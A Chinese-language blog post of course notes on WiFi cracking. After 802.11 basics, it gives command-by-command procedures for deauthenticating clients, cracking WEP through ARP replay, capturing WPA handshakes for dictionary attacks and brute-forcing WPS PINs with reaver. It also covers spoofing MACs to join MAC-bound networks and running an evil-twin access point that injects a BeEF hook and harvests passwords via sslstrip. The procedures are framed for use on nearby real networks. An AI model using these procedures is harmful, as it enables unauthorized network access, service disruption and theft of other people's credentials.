旧文迁移,wifi破解相关,内容比较乱,可能还有错误,以后用到再改吧。
无线基础
802.11标准
IEEE 802是LAN和MAN标准,其中802.11位无线局域网WLAN:
在此协议中,802.11只是指定了数据链路层和物理层:
他有很多子标准,以小写命名的是在原标准后做出修改形成的,是非正式的“标准”:
而日常最常用的是下面这些,如802.11b即WiFi,还有802.11 ac。。
原始的802.11版本:
改进后的802.11b:
速度提升,确定频宽,制定信道
802.11a:
802.11g:
802.11n:
无线网络运行模式
Infrastructure(基础架构集)
最常见的那种,由AP维护SSID,并在默认情况下以每秒约10次的频率通过beacon向空间广播SSID,客户端连接后也会以一定频率向外宣告已连接的SSID。一个AP与多个STA形成一个Basic service Set(BSS),AP连接到有线网络形成Distribution System(DS),多个BSS连在一起组成一个Extend service Set(ESS),每个AP的MAC地址为BSSID,它们拥有一样的ESSID(即通常所说的WiFi名)
AP和AP之间也可以使用无线的方式通信(WDS),它分为两种情况,Bridging(桥接)与Repeating(中继),区别在于桥接信号需要通过连接到的AP转发到另一个AP而中继直接发送到另一个AP。
AD-HOC(Independent Basic service Set (IBSS))
像快传这样,由至少两个STAs直接组成,其中一个负责AP的工作
MONITOR MODE
并非真的无线模式,为苑老师硬扯出来的(笑cry),就是混杂模式,允许无线网卡没有任何筛选的抓包(可以抓取到802.11包头)。
无线网硬件相关
挑选网卡:
我自己在最开始挑选无线网卡时也很懵逼,最后才发现最初的无线网卡就能用,不同软件对网卡的支持能力是不同的,最好的方式是去官网或者去论坛问问大家使用的网卡,注意主要看网卡的芯片而不是网卡本身的型号,那才是最重要滴!
信号强度
分贝dB:测量无线信号强度,它表明两个信号之间的差异比率,是一个相对值
dBm:功率值与1mW进行比较的dB值结果
天线:
全向天线:
这里horizontal是俯视图,vertical是水平视图:
定向天线:
这种在移动通讯中使用较多,图中记了2.45Ghz和5.5Ghz两种频率:
无线协议栈
Linux最初在使用IEEE80211(iwconfig/iwlist)现在常用的是mac80211(iw)
常用命令:
1 | dmesg -T #查看硬件变化 |
1 | ifconfig -a #查看网卡信息 |
1 | iwconfig #查看网卡无线信息 |
1 | iw list #查看网卡详细信息 |
1 | iw dev wlan0 scan #扫描周围AP |
1 | iw dev wlan0 interface add mon0 type monitor #将网卡置为混杂模式 |
1 | service network-manager stop #若上面的操作出错,可尝试先停止此服务 |
现在抓的包就是802.11的包了:
附:
协议栈:https://www.kernel.org/doc/htmldocs/80211/index.html
无线驱动:http://linuxwireless.org/en/users/Drivers/
网卡选择
常规测试
1:关闭可能干扰的软件:
1 | airmon-ng check kill |
检查到wpa_supplicant会影响到套件就自动关闭了他。
2:开启监听模式:
1 | airmon-ng start wlan1 |
可以见到他是成功的识别出了网卡的芯片,驱动,然后开启了监听模式,名字改为了wlan1mon关闭了普通的模式。
3:当只有一张无线网卡时的测试:
1 | aireplay-ng -9 wlan1mon |
他会搜索附近的AP进行注入,29/30表示注入30个成功29个,证明是可以注入的!
4:当有两张无线网卡时的测试:
1 | aireplay-ng -9 -i wlan0mon wlan1mon |
可以看到,是先进行基本的测试,再进行card to card测试,证明了每种注入都是支持的!
其他测试
使用
1 | aireplay-ng -9 -e teddy -a 00:de:ad:ca:fe:00 -i wlan1 wlan0 |
在这里:
-9 意味着注入测试,全写是 –test.
-e ‘teddy’ 是AP名称 (SSID). 这是可选的
-a 00:de:ad:ca:fe:00 ath0 是AP的mac地址 (BSSID). 这是可选的
-i wlan1是你的第二张网卡名称如果你想知道你的第二张卡是否支持。他扮演的角色是作为一个AP并且接收数据包。这是可选的。
wlan0是设备名称或者是airserv-ng IP地址加端口号。他被用来发送数据包。For example - 127.0.0.1:666.
重要的: 你必须在做任何测试之前用airmon-ng去将网卡设置为监听模式。举个栗子
基础测试
基础测试测试你的网卡是否能成功注入。
1 | aireplay-ng -9 wlan0 |
系统响应:
1 | 16:29:41 wlan0 channel: 9 |
分析结果:
16:29:41 wlan0 channel: 9: 显示wlan0在哪个信道上运行
16:29:41 Injection is working!:这确认你的卡能注入!
16:29:42 Found 5 APs:周围有5个AP响应了请求。
16:29:42 00:09:5B:5C:CD:2A - channel: 11 - 'NETGEAR':注意到NETGEAR这个AP的信道是11而非我们网卡设置的9,如果要攻击就要把我们网卡的信道设置成11.
16:29:55 Ping (min/avg/max): 2.763ms/4.190ms/8.159ms:显示ping的速度。
16:29:55 27/30: 90% for teddy: 这是你的网卡和AP的交互情况,这也能进一步证明你的网卡可以注入。
隐藏的或者是特别的AP
用这条命令检查:
1 | aireplay-ng --test -e teddy -a 00:14:6C:7E:40:80 ath0 |
响应:
1 | 11:01:06 ath0 channel: 9 |
分析:成功了
攻击测试
这需要两张卡来监听,-i的卡是扮演AP的角色
运行如下指令:
1 | aireplay-ng -9 -i wlan1 wlan0 |
在这里:
-9 是测试
-i wlan1 是AP设备并且接收数据包的
wlan0 是注入设备
响应:
1 | 11:06:05 wlan0 channel: 9, wlan1 channel: 9 |
分析:
11:06:05 wlan0 channel: 9, wlan1 channel: 9: 他很重要,wlan0和wlan1要在同一信道
前面的输出和上一条命令是一样的意思
最后部分表明wlan0可以成功地进行所有类型的攻击
如果你在attack -5处得到一个failure,如果注入的mac于现在的mac想匹配,他将任然可以运行。如果不一样在一些设备他会失败。
airserv-ng 测试
运行airserv-ng:
1 | airserv-ng -d wlan0 |
响应:
1 | Opening card wlan0 |
运行下面这条命令:
1 | aireplay-ng -9 127.0.0.1:666 |
在这里:
-9 注入测试
127.0.0.1:666 时airserv-ng的IP地址和端口,不一定是本地会还端口,可以是任意的地址。
响应:
1 | 14:57:23 Testing connection to injection device 127.0.0.1:666 |
分析:
Connection successful: 连接成功
后面的输出和前面命令意思一样
故障解决
一般的:
确保使用了正确的设备名,什么mon0,wlan0,at0等,还有多张网卡wlan1,wlan2等不要写错。
确保和目标用的信道一样,否者会失败,可用iwconfig查看。
确保你的网卡没有进行其他的工作,普遍错误是airdump-ng运行在信道忙碌的模式,所以用这个命令一定要用参数-c <信道>,也要保证其他的管理软件或同类软件关闭。
“Network is down” 的错误信息:
如果你在使用Atheros-based和这个madwifi-ng 设备时出现:
1 | aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80 -B ath0 |
这里存在一些还未修复的问题,因此,你可以直接去掉-B参数
airodump-ng 显示 APs 但是都不回应:
可能是AP设备拒绝回应你的请求或者是距离过远了。
这时可以针对所有的信道或是特殊的AP进行探测
破解原理
无线网络中信号不会定向的传给每个设备,就是说AP发射的信号每个网卡都能够接收到,但是在正常情况下只有是自己的数据包才会接受,但是如果我们改一下网卡的模式,就能够让它接收周围所有的无线数据包,所以,没有加密的无线是毫无安全性可言的,因为任何在范围内的设备都能获取到包的内容,如果使用加密的无线,即使获取到也只是加密后的数据。
然后现在连无线大致就是两种:
(1) 客户端:我是自己人,要连接你
服务端:好的,那你连吧|骗我呢,不准连
(2) 客户端:我是自己人,要连接你
服务端:我不信,自己人都有密码,你把密码发给我看看
客户端:好吧,密码是12345678
黑客:得到密码啦
可能么?在认证时候是信息都是明文传输的,如果直接传密码都能够得到,其实是
客户端:我是自己人,要连接你
服务端:我不信,自己人都有密码,你用密码把45212345这个给我加密了
客户端:好的,加密后的密文是453154312
服务端:用密码解密后,还是45212345就允许连接,否则不允许
然后现在的加密就是WEP,WPA,WPA2等等,下面分别介绍:
- WEP,它使用RC4加密,加密数据用的密码是“WiFi的密码+iv”,iv是随机生成的,对方不知道,所以需要通过明文发送,因为iv只有200多种,而加密用的iv可以直接读到,所以如果收到的大量的数据包就会有使用了重复iv的数据包(大于254就绝对会有重复的),那么用那两个加密的数据包去异或就会得到明文的异或。。。最终就能得到密码,所以WEP加密绝对能够被破解。
- WPA,就是针对WEP缺点的改进。使用了更加好的加密算法,iv的取值也变成很多,很难得到重复的,加密数据的密码是“WiFi密码+WiFi名字+其他”,他只能用暴力破解,而且不能跑彩虹表(因为这里面有WiFi名称这个元素),如果你确定目标永远不会改WiFi名称,其实也是可以自己根据名称生成彩虹表来跑的。它有两种,要么使用认证服务器(安全性高,企业用)要么使用预共享秘钥(安全性相对较低,家庭等使用),我们一般也是使用psk这种。
- WPA2,就是wpa的升级版,加密算法使用了更好的。
- WPS,应该是配合前面的加密吧。为了解决前面使用认证复杂而产生的。分两种验证方式,要么使用pin码,就是自己的客户端生成一个pin码,在路由器端输入这个pin码就可以完成认证,还有就是使用按钮,例如手机上点一下那个按钮,然后在路由器上也按一下,就能完成认证。不过它的pin码设计上有缺陷,只要尝试1万多次就能得到,然后通过pin能得到WiFi密码。
现在来看看抓包的样子:
开启网卡的混杂模式(监听模式)后抓包
看到抓到的包都是802.11协议的包,这是因为周围的无线都是加密的,我开了个没加密的,就可以看到协议变了,也能够看到内容了
如果是wep,wpa/psk加密,如果有密码还可以直接使用它解包看内容
WEP
真的好不容易,才能在一大片的路由中找到一个支持WEP的。在这里,首先感谢书大仙,新大娘提供设备【虽然也不支持】,然后感谢刚小胖“同志”,终于把这个实验做好了。
好吧,不说废话了,因为WEP加密本身的缺陷,WEP加密很好破解,而且算是一定能破解吧。
1:关闭干扰服务进程
1 | service network-manager stop |
2:打开监听模式
1 | airmon-ng start wlan0 |
3:查看周围设备
1 | airodump-ng wlan0mon |
看到还没有抓到任何密钥流,有一个使用了WEP加密的,信道是2
4:针对特定的AP【这个窗口一直打开】
1 | airodump-ng wlan0mon --bssid AP_Mac -c [AP_channel] -w [result_file] |
只监听这一个AP,并把结果保存为wep*命名的文件
5:对某个已连接的客户端实施断开链接攻击, 直到抓到密钥流
1 | aireplay-ng -0 2 -a [AP_Mac] -c [Client_Mac] wlan0mon |
-0表示deauth攻击,可使以连上的客户端断开连接,后面的2代表2次
这时就是抓到了密钥流了。此时会在结果目录下生成一个*.xor的文件
6:通过它与AP建立关联关系[此时还不能上网]
1 | aireplay-ng -1 60 -e [essid] -y wep*.xor -a [AP_Mac] -h [Wlan0mon_Mac] wlan0mon |
高清无码。这张图里面有点问题,不要在意这些细节。。。。只是后面的ARP重放失效了,懒得再试了。这里本机的mac地址改为监听模式后会变长,取前六组即可
8:不爽,再来一次断网攻击,抓一些ARP包【同上】
7:开始ARP重放攻击
1 | aireplay-ng -3 -b [AP_mac] -h [wlan0mon-mac] wlan0mon |
这里会从抓到的包里找ARP请求,然后重放,来增加data值,这个越多越好【在airodump-ng里面看】
9:感觉够了就可以破解了
1 | aircrack-ng wep*.cap |
WPA
思路步骤:通过抓取握手包破解的密码,就要监听网络中的握手包,握手包只会在客户端连接AP时才会产生,于是可以主动让客户端断开连接,他就会自动连接,这样就能够抓到握手包。
重要的因素:字典!因为这是猜密码破解,所以密码字典里面有没有真实的密码决定了能不能成功破解。
开始了
1:关闭network管理服务
1 | service network-manager stop |
2:检查并关闭有干扰的软件
1 | airmon-ng check kill |
3:开启监听模式
1 | airmon-ng start wlan1 |
4:先查看周围的网络情况,并得到目标的情况
1 | airodump-ng wlan1mon |
第一排那里有个箭头指向空,说明还没有抓到握手包
BSSID指AP的mac pwr是信号强度,越接近0越强,ch是信道,essid的AP的名字,station是客户端的mac,enc是加密类型
5:开始针对目标实施监听
1 | airodump-ng wlan1mon --bssid 【AP的mac】 -c 4 -w wpa |
[wpa是指保存的抓包文件名,随便取]
这是针对一个AP的探测,目前还没有握手包
6:对目标实施断开链接攻击
1 | aireplay-ng -0 2 -a 【AP的mac】 -c 【已经连到那个AP的客户端mac】 wlan1mon |
这里进行了两次deauth*攻击,使客户端与ap断开连接
这里看到客户端立即重连,就抓到了握手包
7:破解密码
1 | aircrack -w 【字典文件】 【抓到的包文件】 |
跑密码中,一个13M的密码,这么久都没有出来,速度太慢了,所以一般都不是自己破解密码吧。
才13M的密码跑了30分钟还没完,然后手不小心按错了,只能重来,,,
这是效果图。。。
WPS
因为WPS本身存在缺陷,它共8位,但是第八位可由前七位决定,就是之破解七位,还可以先破解前4位,再破解第5,6,7位所以有1万多种可能,如果没有尝试次数限制可以很快破解出来但是现在很多都有限制,如果在一定时间内错误次数过多会被锁住,只有重启才会解锁,所以需要限制速度。
综上,如果有WPS的路由器且使用了WPA加密,在使用简单的字典不能破解后,最好直接破解PIN码,因为它能在能过接受的时间(两三天)内破解出密码
现在开始:
同样,先停掉系统自带服务,以免影响
1 | service network-manager stop |
检查杀死影响的进程
1 | airmon-ng check kill |
开启监听模式
1 | airmon-ng start wlan0 |
扫描周围支持WPS的热点
1 | wash -C -i wlan0mon |
如图,看到对方的mac地址,信道,wps版本,是否已经被锁定,热点名称
现在开始破解
1 | reaver -i wlan0mon -b F0:B4:29:81:DA:31 -vv -K 1 -c 10 |
这个就是使用wlan0mon这张卡,-b接目标mac地址,-vv就是详细信息 –K 1是先用一种特别的攻击,这种攻击针对一些固件本身存在的漏洞,-c 10就是对方路由器的信道
得到pin码以后,就用下面这条命令获得密码。
1 | reaver -i wlan0mon -b <AP MAC> -vv -p <pin> |
(也可以使用airodump-ng命令搜索周围热点)
MAC绑定
连接到没有设置密码,只是设置了绑定mac地址的无线(如图)
很多人认为mac地址独一无二,绑定了mac地址别人就不能连接了,其实mac地址可以伪造的。
将网卡设置为监听模式:
1 | service network-manager stop |
通过抓包看看有哪些设备连上了那个无线
1 | airodump-ng wlan0mon |
停用网卡
1 | airmon-ng stop wlan0mon |
改网卡的mac地址
1 | ifconfig –a 查看网卡交什么名字,不出意外还是叫那个 |
重新开启监听模式
1 | airmon-ng start wlan0 |
这时就可以直接连接了,不过因为是两台地址一样的设备连接,所以会有丢包等现象,可以等待对方没用时自己再去使用,不过这不是目的,我们连好后可以进入后台,将自己的mac地址添加到路由器
钓鱼WiFi
WiFi-pumpkin
邪恶双子星,逼格很高的名字,通俗的说就是钓鱼WiFi。配置方法超级多,今天说下最简单的之一吧。装备就是要两张网卡,虚拟机可以虚拟一张,无线网卡需要自配。
安装方法,输入以下命令
1 | git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git |
安装完可以直接在任何地方输入wifi-pumpkin打开软件,不过建议进入安装目录打开,否则可能回出现一些问题
正题:
1:打开软件
2:介绍下页面
打开是主页,access point里面的网关是连接互联网的网关,一般只要连接上Internet就会自动识别。Ap name填上伪造AP的名字。Channel随便,可以和伪造的信道相同。Network adapter 就是选择发射信号的无线网卡。下面有个插头代表插件,默认是选中的,可以手动禁用,右边那个点是网页钓鱼服务,需要可以配置,开启,后面说。配置好以后点击start AP就开启了钓鱼WiFi,下面会显示已经连接的设备信息
这里可以往返回的数据里面注入代码,包括HTML,js,css等等。方法就是,点击browser选中要注入的内容,点击enable即可生效,下面会有注入日志。
这就是对AP的一些设置了,包括DHCP服务的时间,网段,广播掩码等等。
这记录一些链接过的设备
就是几个监视器,主要用第二个监视表单密码吧。
工具ettercap都懂得,不过主要用driftnet监视数据中的图片吧。
这些模块,都是单独拿去用的,看名字就知道用途了。。。
这是setting里面的内容,可以改发射信号的软件,断网的软件,扫描的软件等等,高级里面设置AP的iptables就是Linux里面那个,在这里管流量转发,hostpad里面可以设置加密AP。
介绍完了,用法之一就是这样
先设置了js注入,注入的是beef的hook
名字改的具有迷惑性就可以开始了
已经搜到了,这里只是信道不同,可以调的一样,然后连接
这里可以看到已经有设备连接了
打开monitor netcreds和driftnet
可以看见截获账号密码还有图片那些【它默认开启了sslstript,即使使用了安全套接层的也可以截获】
easy-creds
1:安装easy-creds(下载)
解压缩到目录
执行./installer.sh
选择操作系统
安装过程中的错误提示可以手动解决
复制命令到新窗口运行
自动脚本安装,直到出现如下字样说明安装完成
2:打开它
在安装目录执行
./ easy-creds.sh
更改配置文件,升级aircrack-ng等
3:使用
选择虚假ap
选择静态的
2:选择连接互联网的网卡
3:选择发射无线信号的网卡
4:选择无线的信道
1:选择监听设备
2:是否改变网卡的mac地址
4:设置无线的网段
5:设置DNS服务器的地址
4:查看
其他工具
wifite
1:打开软件
2:自动搜索周围无线
他会一直扫描下去,需手动按crtl+C停止扫描
3:选择破解的目标
会按信号强度排序,需要破解哪一个就输入它的编号即可,破解所有输入all
4:开始破解
会在8分20秒内不停的发送数据,强制让客户端与热点断开,然后客户端会自动重新连接,这时就可以捕获握手包(就是一个含有验证密码哈希的文件),在监听到握手包后自动破解密码。
fern
这个kali自带
打开先选择网卡,然后去扫描,扫描后可以看到wep和wpa加密热点的分布情况,点击相应的图表即可进入
选择相应的可以看到详细信息,可以选择字典文件,然后开始攻击
(必须吐槽,默认字体反人类,可以在工具里面设置,里面还有一些常用的有用的设置,需要自己探索)
来源
安全牛课堂-kali-linux